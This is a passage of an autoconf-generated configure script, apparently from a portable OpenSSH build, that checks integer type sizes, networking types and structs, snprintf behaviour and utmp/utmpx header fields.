was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_long_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_long_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:4752: checking size of long long int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_long_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_long_long_int=8 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(long long int)); + exit(0); +} +EOF +if { (eval echo configure:4771: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_long_long_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_long_long_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_long_long_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:4793: checking for u_int type" >&5 +if eval "test \"`echo '$''{'ac_cv_have_u_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + u_int a; a = 1; +; return 0; } +EOF +if { (eval echo configure:4806: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_int="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_u_int="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_u_int" 1>&6 +if test "x$ac_cv_have_u_int" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_U_INT 1 +EOF + + have_u_int=1 +fi + +echo $ac_n "checking for intXX_t types""... $ac_c" 1>&6 +echo "configure:4830: checking for intXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + int8_t a; int16_t b; int32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:4843: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_intxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_intxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_intxx_t" 1>&6 +if test "x$ac_cv_have_intxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_INTXX_T 1 +EOF + + have_intxx_t=1 +fi + +echo $ac_n "checking for int64_t type""... $ac_c" 1>&6 +echo "configure:4867: checking for int64_t type" >&5 +if eval "test \"`echo '$''{'ac_cv_have_int64_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + int64_t a; a = 1; +; return 0; } +EOF +if { (eval echo configure:4880: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_int64_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_int64_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_int64_t" 1>&6 +if test "x$ac_cv_have_int64_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_INT64_T 1 +EOF + + have_int64_t=1 +fi + +echo $ac_n "checking for u_intXX_t types""... $ac_c" 1>&6 +echo "configure:4904: checking for u_intXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_u_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + u_int8_t a; u_int16_t b; u_int32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:4917: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_intxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_u_intxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_u_intxx_t" 1>&6 +if test "x$ac_cv_have_u_intxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_U_INTXX_T 1 +EOF + + have_u_intxx_t=1 +fi + +echo $ac_n "checking for u_int64_t types""... $ac_c" 1>&6 +echo "configure:4941: checking for u_int64_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_u_int64_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + u_int64_t a; a = 1; +; return 0; } +EOF +if { (eval echo configure:4954: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_int64_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_u_int64_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_u_int64_t" 1>&6 +if test "x$ac_cv_have_u_int64_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_U_INT64_T 1 +EOF + + have_u_int64_t=1 +fi + +if (test -z "$have_u_intxx_t" || test -z "$have_intxx_t" && \ + test "x$ac_cv_header_sys_bitypes_h" = "xyes") +then + echo $ac_n "checking for intXX_t and u_intXX_t types in sys/bitypes.h""... $ac_c" 1>&6 +echo "configure:4981: checking for intXX_t and u_intXX_t types in sys/bitypes.h" >&5 + cat > conftest.$ac_ext < + +int main() { + + int8_t a; int16_t b; int32_t c; + u_int8_t e; u_int16_t f; u_int32_t g; + a = b = c = e = f = g = 1; + +; return 0; } +EOF +if { (eval echo configure:4996: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define HAVE_U_INTXX_T 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_INTXX_T 1 +EOF + + echo "$ac_t""yes" 1>&6 + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + +fi +rm -f conftest* +fi + +if test -z "$have_u_intxx_t" ; then + echo $ac_n "checking for uintXX_t types""... $ac_c" 1>&6 +echo "configure:5021: checking for uintXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_uintxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + uint8_t a; uint16_t b; uint32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:5036: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_uintxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_uintxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_uintxx_t" 1>&6 + if test "x$ac_cv_have_uintxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_UINTXX_T 1 +EOF + + fi +fi + +echo $ac_n "checking for socklen_t""... $ac_c" 1>&6 +echo "configure:5060: checking for socklen_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_socklen_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { +socklen_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5076: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_socklen_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_socklen_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_socklen_t" 1>&6 +if test "x$ac_cv_have_socklen_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SOCKLEN_T 1 +EOF + +fi + +echo $ac_n "checking for size_t""... $ac_c" 1>&6 +echo "configure:5099: checking for size_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_size_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + size_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5114: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_size_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_size_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_size_t" 1>&6 +if test "x$ac_cv_have_size_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SIZE_T 1 +EOF + +fi + +echo $ac_n "checking for ssize_t""... $ac_c" 1>&6 +echo "configure:5137: checking for ssize_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_ssize_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + ssize_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5152: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ssize_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_ssize_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_ssize_t" 1>&6 +if test "x$ac_cv_have_ssize_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SSIZE_T 1 +EOF + +fi + +echo $ac_n "checking for clock_t""... $ac_c" 1>&6 +echo "configure:5175: checking for clock_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_clock_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + clock_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5190: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_clock_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_clock_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_clock_t" 1>&6 +if test "x$ac_cv_have_clock_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_CLOCK_T 1 +EOF + +fi + +echo $ac_n "checking for sa_family_t""... $ac_c" 1>&6 +echo "configure:5213: checking for sa_family_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_sa_family_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + sa_family_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5229: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sa_family_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + cat > conftest.$ac_ext < +#include +#include + +int main() { + sa_family_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5248: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sa_family_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_sa_family_t="no" + +fi +rm -f conftest* + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_sa_family_t" 1>&6 +if test "x$ac_cv_have_sa_family_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SA_FAMILY_T 1 +EOF + +fi + +echo $ac_n "checking for pid_t""... $ac_c" 1>&6 +echo "configure:5274: checking for pid_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_pid_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + pid_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5289: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_pid_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_pid_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_pid_t" 1>&6 +if test "x$ac_cv_have_pid_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_PID_T 1 +EOF + +fi + +echo $ac_n "checking for mode_t""... $ac_c" 1>&6 +echo "configure:5312: checking for mode_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_mode_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + mode_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:5327: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_mode_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_mode_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_mode_t" 1>&6 +if test "x$ac_cv_have_mode_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_MODE_T 1 +EOF + +fi + + +echo $ac_n "checking for struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:5351: checking for struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_storage'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; +; return 0; } +EOF +if { (eval echo configure:5367: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_storage="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_sockaddr_storage="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_sockaddr_storage" 1>&6 +if test "x$ac_cv_have_struct_sockaddr_storage" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_SOCKADDR_STORAGE 1 +EOF + +fi + +echo $ac_n "checking for struct sockaddr_in6""... $ac_c" 1>&6 +echo "configure:5390: checking for struct sockaddr_in6" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_in6'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_in6 s; s.sin6_family = 0; +; return 0; } +EOF +if { (eval echo configure:5406: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_in6="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_sockaddr_in6="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_sockaddr_in6" 1>&6 +if test "x$ac_cv_have_struct_sockaddr_in6" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_SOCKADDR_IN6 1 +EOF + +fi + +echo $ac_n "checking for struct in6_addr""... $ac_c" 1>&6 +echo "configure:5429: checking for struct in6_addr" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_in6_addr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct in6_addr s; s.s6_addr[0] = 0; +; return 0; } +EOF +if { (eval echo configure:5445: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_in6_addr="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_in6_addr="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_in6_addr" 1>&6 +if test "x$ac_cv_have_struct_in6_addr" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_IN6_ADDR 1 +EOF + +fi + +echo $ac_n "checking for struct addrinfo""... $ac_c" 1>&6 +echo "configure:5468: checking for struct addrinfo" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_addrinfo'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include +#include + +int main() { + struct addrinfo s; s.ai_flags = AI_PASSIVE; +; return 0; } +EOF +if { (eval echo configure:5485: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_addrinfo="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_addrinfo="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_addrinfo" 1>&6 +if test "x$ac_cv_have_struct_addrinfo" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_ADDRINFO 1 +EOF + +fi + +echo $ac_n "checking for struct timeval""... $ac_c" 1>&6 +echo "configure:5508: checking for struct timeval" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_timeval'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + struct timeval tv; tv.tv_sec = 1; +; return 0; } +EOF +if { (eval echo configure:5521: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_timeval="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_timeval="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_timeval" 1>&6 +if test "x$ac_cv_have_struct_timeval" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_TIMEVAL 1 +EOF + + have_struct_timeval=1 +fi + +# If we don't have int64_t then we can't compile sftp-server. So don't +# even attempt to do it. +if test "x$ac_cv_have_int64_t" = "xno" -a \ + "x$ac_cv_sizeof_long_int" != "x8" -a \ + "x$ac_cv_sizeof_long_long_int" = "x0" ; then + NO_SFTP='#' +else + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +#ifdef HAVE_SNPRINTF +main() +{ + char buf[50]; + char expected_out[50]; + int mazsize = 50 ; +#if (SIZEOF_LONG_INT == 8) + long int num = 0x7fffffffffffffff; +#else + long long num = 0x7fffffffffffffff; +#endif + strcpy(expected_out, "9223372036854775807"); + snprintf(buf, mazsize, "%lld", num); + if(strcmp(buf, expected_out) != 0) + exit(1); + exit(0); +} +#else +main() { exit(0); } +#endif + +EOF +if { (eval echo configure:5582: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + true +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + cat >> confdefs.h <<\EOF +#define BROKEN_SNPRINTF 1 +EOF + + +fi +rm -fr conftest* +fi + +fi + + + +# look for field 'ut_host' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmp.h""... $ac_c" 1>&6 +echo "configure:5606: checking for ut_host field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_host" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_HOST_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_host' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmpx.h""... $ac_c" 1>&6 +echo "configure:5646: checking for ut_host field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_host" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_HOST_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'syslen' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"syslen + echo $ac_n "checking for syslen field in utmpx.h""... $ac_c" 1>&6 +echo "configure:5686: checking for syslen field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "syslen" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_SYSLEN_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_pid' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_pid + echo $ac_n "checking for ut_pid field in utmp.h""... $ac_c" 1>&6 +echo "configure:5726: checking for ut_pid field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_pid" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_PID_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_type' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmp.h""... $ac_c" 1>&6 +echo "configure:5766: checking for ut_type field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_type" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TYPE_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_type' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmpx.h""... $ac_c" 1>&6 +echo "configure:5806: checking for ut_type field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_type" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TYPE_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_tv' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmp.h""... $ac_c" 1>&6 +echo "configure:5846: checking for ut_tv field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_tv" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TV_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_id' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmp.h""... $ac_c" 1>&6 +echo "configure:5886: checking for ut_id field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_id" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ID_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_id' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmpx.h""... $ac_c" 1>&6 +echo "configure:5926: checking for ut_id field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_id" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ID_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmp.h""... $ac_c" 1>&6 +echo "configure:5966: checking for ut_addr field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr" >/dev/null 2>&1; then + rm -rf conftest* + eval 